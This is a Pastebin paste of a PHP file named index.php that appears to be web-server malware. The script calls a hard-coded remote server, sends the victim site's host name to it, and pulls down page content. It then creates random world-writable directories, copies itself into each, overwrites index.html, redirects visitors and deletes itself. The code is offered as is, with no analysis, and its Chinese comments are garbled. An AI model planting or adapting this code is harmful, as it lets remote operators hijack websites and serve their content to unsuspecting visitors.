PalmaSolutions

index.php

May 9th, 2018
286
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 3.82 KB | None | 0 0
  1. <?php
  2. header("Content-Type: text/html;charset=gb2312");
  3. $Remote_server = "http://198.52.103.136/";
  4. $directory_Number=5;
  5.  
  6. $Branch_directory_1=getCode(mt_rand(3,5));
  7. $Branch_directory_2=getCode(mt_rand(3,5));
  8. $Branch_directory_3=getCode(mt_rand(3,5));
  9. $Branch_directory_4=getCode(mt_rand(3,5));
  10. $Branch_directory_5=getCode(mt_rand(3,5));
  11. $Branch_directory_6=getCode(mt_rand(3,5));
  12. $Branch_directory_7=getCode(mt_rand(3,5));
  13. $Branch_directory_8=getCode(mt_rand(3,5));
  14. $Branch_directory_9=getCode(mt_rand(3,5));
  15. $Branch_directory_10=getCode(mt_rand(3,5));
  16.  
  17. $Branch_directory = $Branch_directory_1.".".$Branch_directory_2.".".$Branch_directory_3.".".$Branch_directory_4.".".$Branch_directory_5.".".$Branch_directory_6.".".$Branch_directory_7.".".$Branch_directory_8.".".$Branch_directory_9.".".$Branch_directory_10;
  18.  
  19. $NewFile_content = getFileCont("index.php");
  20.  
  21. if (empty($NewFile_content)) {
  22.     exit("<p align='center'><font color='red'><b>SHELLվȺҳ�����������Ե�......</b></font></p>");
  23. }
  24.  
  25. $ml = $_SERVER['REQUEST_URI'];
  26. $str= explode("/", $ml);
  27. $Quantity = count($str)-1; //����
  28.  
  29. $host_name = str_replace("index.php", "", "http://".$_SERVER['SERVER_NAME'].$_SERVER['REQUEST_URI']);
  30.  
  31. if ($Quantity<5 && $Quantity>0) {
  32.  
  33.     $Remote_directory = $Remote_server."/directory.php?type=index.php&host=".$host_name."&directory=".$Branch_directory;
  34.     $Content_directory = getHTTPPage($Remote_directory);   
  35.  
  36.     $Content_mb=GetHtml($Remote_server."/index.php?type=index.php&host=".$host_name);
  37.     $Branch_directory= explode(".",$Branch_directory);
  38.  
  39.     echo $Content_mb;
  40.  
  41.     for ($i=0;$i < count($Branch_directory); $i++) {
  42.         $check = CFolder("./".$Branch_directory[$i]."/");
  43.         if ($check == 1) {
  44.             WriteIn("./".$Branch_directory[$i]."/index.php",$NewFile_content);
  45.         }
  46.     }
  47.  
  48.     WriteIn("./index.html",$Content_mb);
  49.     chmod("index.html",0777);
  50.  
  51.     echo "<meta http-equiv='refresh' content='0; url=index.html'>";
  52.  
  53.         $file = "index.php";  
  54.         if (file_exists($file)) {  
  55.         @unlink ($file);  
  56.                                 }  
  57.  
  58.     exit();
  59.  
  60. } else {
  61.     $Content_mb=GetHtml($Remote_server."/index.php?type=index.php&host=".$host_name);
  62.     WriteIn("./index.html",$Content_mb);
  63.     chmod("index.html",0777);
  64.  
  65.     header("Location: index.html");
  66.  
  67.  
  68.     exit();
  69. }  
  70.  
  71.  
  72.  
  73. function getCode($iCount) {//ȡ��������ĸ����    
  74.     $arrChar = "012qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM3456789";
  75.     $code="";
  76.     for ( $i = 0; $i < $iCount; $i++ )  
  77.     {
  78.         $code .= $arrChar[ mt_rand(0, strlen($arrChar) - 1) ];  
  79.     }  
  80.     return $code;
  81. }
  82.  
  83. function Digital($iCount) {//ȡ�������
  84.     $arrChar = "0123456789";
  85.     $code="";
  86.     for ( $i = 0; $i < $iCount; $i++ )  
  87.     {
  88.         $code .= $arrChar[ mt_rand(0, strlen($arrChar) - 1) ];  
  89.     }  
  90.     return $code;
  91. }
  92.  
  93. function sj_int($min, $max) { //ȡ�������
  94.     return mt_rand($min, $max);
  95. }
  96.  
  97. function WriteIn($testfile, $msg) {
  98.     if (empty($msg)) {
  99.         echo "����Ϊ��";
  100.         return;
  101.     }
  102.    
  103.     $fp = @fopen($testfile,"w");
  104.     fwrite($fp,$msg);
  105.     fclose($fp);
  106. }
  107.  
  108. function getFileCont($testfile) {
  109.     $restr = '';
  110.     $fp = @fopen($testfile,"r");
  111.     if ($fp) {
  112.         while($line=fgets($fp,1024)) $restr.=$line;
  113.         fclose($fp);
  114.     }
  115.     return $restr;
  116. }
  117.  
  118. function CFolder($Filepath) {
  119.   if (!file_exists($Filepath)) {
  120.     mkdir($Filepath, 0777);
  121.     return 1;
  122.   }
  123.   return 0;
  124. }
  125.  
  126. function getHTTPPage($url) {
  127.     $opts = array(
  128.       'http'=>array(
  129.         'method'=>"GET",
  130.         'header'=>"User-Agent: aQ0O010O"
  131.       )
  132.     );
  133.  
  134.     $context = stream_context_create($opts);
  135.  
  136.     $html = @file_get_contents($url, false, $context);
  137.     if (empty($html)) {
  138.         exit("<p align='center'><font color='red'><b>��������ȡ�ļ����ݳ���</b></font></p>");
  139.     }
  140.    
  141.     return $html;
  142. }
  143.  
  144. function GetHtml($url) {
  145.     return getHTTPPage($url);
  146. }
Advertisement
Add Comment
Please, Sign In to add comment